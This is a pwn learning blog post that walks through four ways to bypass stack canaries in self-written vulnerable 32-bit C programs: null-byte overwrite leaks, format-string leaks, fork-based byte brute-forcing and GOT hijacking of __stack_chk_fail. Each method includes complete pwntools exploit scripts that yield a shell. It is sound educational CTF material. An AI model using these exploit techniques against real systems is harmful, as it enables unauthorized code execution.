[pwn learning] Canary's various bypassing postures

Posted by jimmyp3016 on Fri, 24 Dec 2021 19:27:31 +0100

Method 1: get Canary by overwriting truncated characters

principle

Canary's low byte is designed to be \ x00, which is intended to prevent Canary from being read directly by read, write and other functions. The value of Canary can be read out by overwriting the low \ x00 through stack overflow.

From the above analysis, we can sort out the idea of bypassing:

  • Construct the first overflow, overwrite the Canary low byte \ x00, and read out the Canary value
  • Construct the second overflow, use the obtained Canary to reconstruct the payload and obtain the shell.

The following is a practice by an example program

// test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

Compile the ELF file generated as 32,

$ gcc test.c -no-pie -m32 -fstack-protector -z noexecstack -o test

Examples

  1. View security policy

    root@kali:~/ctf/Other/pwn/CanaryTest# checksec test
    [*] '/root/ctf/Other/pwn/CanaryTest/test'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    You can see that NX and Canary are turned on

  2. View available functions and methods

    Using radare2 static analysis, it is found that the function getshell() that can be used directly returns to the shell.

    [0x08049237]> afl
    ...
    0x080491b2    1 43           sym.getshell
    ...
    
  3. Find overflow point

    sym. Overflow exists in Vuln function. Read can read the contents of 0x200 into the stack of 0x70, and then printf will print the string read in by read.

    ...
    / (fcn) sym.vuln 108
    |   sym.vuln ();
    |           ; var signed int var_74h @ ebp-0x74
    |           ; var int32_t var_70h @ ebp-0x70
    |           ; var int32_t var_ch @ ebp-0xc
    |           ; var int32_t var_4h @ ebp-0x4
    |           ; CALL XREF from main @ 0x80492d4
    |           0x08049237      55             push ebp
    |           0x08049238      89e5           mov ebp, esp
    |           0x0804923a      53             push ebx
    |           0x0804923b      83ec74         sub esp, 0x74
    |           0x0804923e      e8adfeffff     call sym.__x86.get_pc_thunk.bx
    |           0x08049243      81c3bd2d0000   add ebx, 0x2dbd
    |           0x08049249      65a114000000   mov eax, dword gs:[0x14]
    |           0x0804924f      8945f4         mov dword [var_ch], eax
    |           0x08049252      31c0           xor eax, eax
    |           0x08049254      c7458c000000.  mov dword [var_74h], 0
    |       ,=< 0x0804925b      eb29           jmp 0x8049286
    |       |   ; CODE XREF from sym.vuln @ 0x804928a
    |      .--> 0x0804925d      83ec04         sub esp, 4
    |      :|   0x08049260      6800020000     push 0x200                  ; 512
    |      :|   0x08049265      8d4590         lea eax, dword [var_70h]
    |      :|   0x08049268      50             push eax
    |      :|   0x08049269      6a00           push 0
    |      :|   0x0804926b      e8d0fdffff     call sym.imp.read
    |      :|   0x08049270      83c410         add esp, 0x10
    |      :|   0x08049273      83ec0c         sub esp, 0xc
    |      :|   0x08049276      8d4590         lea eax, dword [var_70h]
    |      :|   0x08049279      50             push eax
    |      :|   0x0804927a      e8d1fdffff     call sym.imp.printf
    ...
    
  4. payload

    This problem turns on Canary, so it is definitely not possible to directly overflow the stack.

    • Construct the first overflow, overwrite the Canary low byte \ x00, and read out the Canary value

    From 0x0804924f mov DWORD [var_ch], the eax instruction can know that canary is stored at 0xC. Therefore, the distance from the top of the stack to the low byte of Canary should be 0x70 - 0xc. We need to cover the low byte of Canary, so we need to add an additional byte, so paylaod_ The length of 1 should be 0x70 - 0xc + 0x1

    payload_1 = b'a' * (0x70 - 0xc + 0x1) 
    

    Canary is the four bytes starting from 0x70-0xC= 0x64. Because the lowest byte has been overwritten and the default is \ x00, you can get Canary by simply obtaining the values of 0x65, 0x66 and 0x67 and splicing another \ x00

    • Construct the second overflow and use the leaked canary to overflow the stack

    The distance from the top of the stack to ebp is 0x70, and the distance from Canary to ebp is 0xc. Therefore, after covering canary, 0x8 bytes will be added, plus the length of ebp itself is 0x4, so 0xc bytes will be added.

    payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)
    
  5. write up

    from pwn import *
    context.log_level = 'debug'
    
    conn = process('./test')
    
    getshell = 0x080491b2
    conn.recvuntil('Hello Hacker!\n')
    
    # First overflow
    payload_1 = b'a' * (0x70 - 0xc)
    conn.send(payload_1)
    recvbytes = conn.recv()
    # Get canary
    canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00'))
    print(f'Canary: {hex(canary)}')
    # Second overflow
    payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
    conn.send(payload_2)
    conn.recv()
    conn.interactive()
    

Method 2: use the format string vulnerability to obtain Canary

principle

The format string vulnerability can print the contents of the stack, so this vulnerability can be used to print the value of canary, so as to overflow the stack.

Examples

The topic in method 1 is also taken as an example.

In the vuln function, the printf function directly prints the user input read by read, so we can use printf to disclose the contents of the stack by entering a special payload.

How to determine the location of canary?

  1. First, confirm the position of the currently entered text in the stack

    Construct a payload equal to aaaa+n%x-, and then observe the output until the output contains 6161, that is, the ascii code of 4 a. As follows:

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test
    Hello Hacker!
    aaaa%x-%x-%x-%x-%x-%x-%x-%x-
    aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-
    

    Count the position where 6161 appears. It appears at the 6th position in the stack, corresponding to the 6th% x

  2. From the previous question, we know that the distance from the top of the stack to canary is 0x70-0xc, and a% X in printf will output 4 bytes, so the interval (0x70-0xC)/4=25% X. therefore, starting from the sixth% x, outputting 25% X is the value of canary

payload_1 = b'%x-' * ( 6 + 25)

canary is the last group%x- corresponding to the received bytes

Finally, as in the previous question, overflow the shell for the second time

payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)

write up

from pwn import *
context.log_level = 'debug'

conn = process('./test')

getshell = 0x080491b2
conn.recvuntil('Hello Hacker!\n')

# First overflow
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# Get canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# Second overflow
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

Method 3 byte by byte blasting

principle

  • Canary is different after each process restart, but canary in the same process is the same. The Canary of the child process created through the fork function is also the same, because the fork function will directly copy the memory of the parent process.
  • Burst times: for 32-bit ELF, the low byte is fixed as \ x00, so only three bytes need to be burst. The blasting method is to overwrite the sub low byte by using stack overflow. If there is an error, an error will be reported. If the correct sub low byte is obtained, an error will not be reported. After obtaining the correct sub low byte, burst the sub high byte and high byte in turn. The probability of each byte is 256, so the total number of bursts of three bytes is 256 + 256 + 256 = 768

Examples

Make some changes on the basis of the previous examples,

// test2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>  
#include <sys/wait.h>

void getshell(void)
{
    system("/bin/sh");
}

void init(void)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void vuln(void)
{
    char buf[100];
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x200);
    printf("%s\n", buf);
}
int main(void)
{
    init();
    while (1)
    {
        printf("Hello Hacker!\n");
        if (fork()) //father
        {
            wait(NULL);
        }
        else //child
        {
            vuln();
            exit(0);
        }
    }

    return 0;
}

compile

$ gcc test2.c -no-pie -m32 -fstack-protector -z noexecstack -o test2
  1. View security policy. Similar to example 1

    [*] '/root/ctf/Other/pwn/CanaryTest/test2'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
  2. static analysis

    I don't know much about fork function at present, but it doesn't affect the current problem-solving. I'll study it later.

    fork()

    The overflow point is still in sym Vuln function, as before.

    Digression: puts(buf) and printf("%s\n", buf)

    Note that in the c code, we use printf("%s\n", buf), but after compilation, it is found that call sym. is called in the assembly code. imp.puts. Why?

    The puts function outputs a string and adds a newline character at the end of the string. When the format parameter of printf is% s\n, the result is the same as that of puts. Therefore, the compiler chooses to use puts instead of printf during optimization

  3. payload

    First, obtain Canary by blasting

    canary = b'\x00'
    for i in range(3):
      for b in range(0, 256):
        payload = b'a' * (0x70 - 0xC) + canary + bytes(b)
        # Here is the pseudo code
    		if (recv No error reported):
    			canary += bytes(b)
    			break
    

    After getting canary, get the shell

    payload = b'a' * (0x70 - 0xC) + p32(canary) + b'a' * 0xC + p32(getshell)
    
  4. write up

    from pwn import *
    import re
    import time
    
    #context.log_level = 'debug'
    
    conn = process('./test2')
    
    getshell = 0x080491f2
    
    canary = b'\x00'
    for i in range(3):
      for j in range(0, 256):
        #conn.recvuntil(b'Hello Hacker!')
        payload = b'a' * (0x70 - 0xC) + canary + p8(j)
        conn.send(payload)
        time.sleep(0.01)
        res = conn.recv()
        if ( b"stack smashing detected" not in res):
            print(f'the {i} is {hex(j)}')
            canary += p8(j)
            break
      assert(len(canary) == i+2) 
            
    print(f'Canary : {hex(u32(canary))}')
    
    # Second overflow
    payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell)
    conn.send(payload_2)
    conn.recv()
    conn.interactive()
    

    After running, if no error is reported, the shell is successfully obtained, as shown below. If errors are reported frequently, the time interval can be extended

    root@kali:~/ctf/Other/pwn/CanaryTest# python3 exp2.py 
    [+] Starting local process './test2': pid 81149
    the 0 is 0x71
    the 1 is 0xec
    the 2 is 0xf7
    Canary : 0xf7ec7100
    [*] Switching to interactive mode
    $ ls
    core  exp1_1.py  exp1_2.py  exp2.py  test  test2  test2.c  test.c
    

Method 4 SSP leakage

There are still many puzzles in this part, which need to be further studied.

https://www.anquanke.com/post/id/177832#h2-3

https://blog.csdn.net/chennbnbnb/article/details/103968714

Method 5 hijacking__ stack_chk_fail function

principle

In the program that enables Canary protection, if canary is wrong, the program will go to stack_ chk_ The fail function executes. stack_ chk_ The fail function is a common delay binding function, which can be hijacked by modifying the GOT table.

Examples

Take the following as an example

// test3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[100];
    read(0, buf, 200);#Stack overflow
    printf(buf);
    return 0;
}
  • The hijacking function needs to modify the got table, so close relro (RELocation Read Only)
  • You need to call the getshell function, so you need to close the pie (position independent executive)
$ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3
  1. View security policy

    [*] '/root/ctf/Other/pwn/CanaryTest/test3'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
  2. static analysis

    • There is a getshell back door

    • printf in the main function directly prints the content entered by the user. There is a format string vulnerability, which can be used to write data to any address

  3. payload

    According to the previous study of the got table, we know that the got table stores the actual address of the function__ stack_ chk_ The got table address of the fail function is replaced by the address of the getshell. In case of canary error, call__ stack_ chk_ When fail, you will get the shell directly.

    stack_chk_fail_got = elf.got['__stack_chk_fail']
    getshell = elf.sym['getshell'] # 0x080491a2
    

    Here we use fmtstr in pwntools_ Payload () can easily tamper with the address

    fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

    • Offset (int): offset of string
    • writes (dict): injected address and value, {target_addr: change_to,}

    The value of the first offset can be confirmed manually

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test3
    aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
    aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
    

    6161 is the 10th position, so offset takes 10

    payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
    

    It will also cause an overflow and trigger__ stack_chk_fail

    payload = payload.ljust(0x70, b'a')
    
  4. write up

    from pwn import *
    
    conn = process('./test3')
    elf = conn.elf
    
    stack_chk_fail_got = elf.got['__stack_chk_fail']
    getshell = elf.sym['getshell'] # 0x080491a2
    
    payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
    payload = payload.ljust(0x70, b'a')
    
    conn.send(payload)
    conn.interactive()
    

Topics: security pwn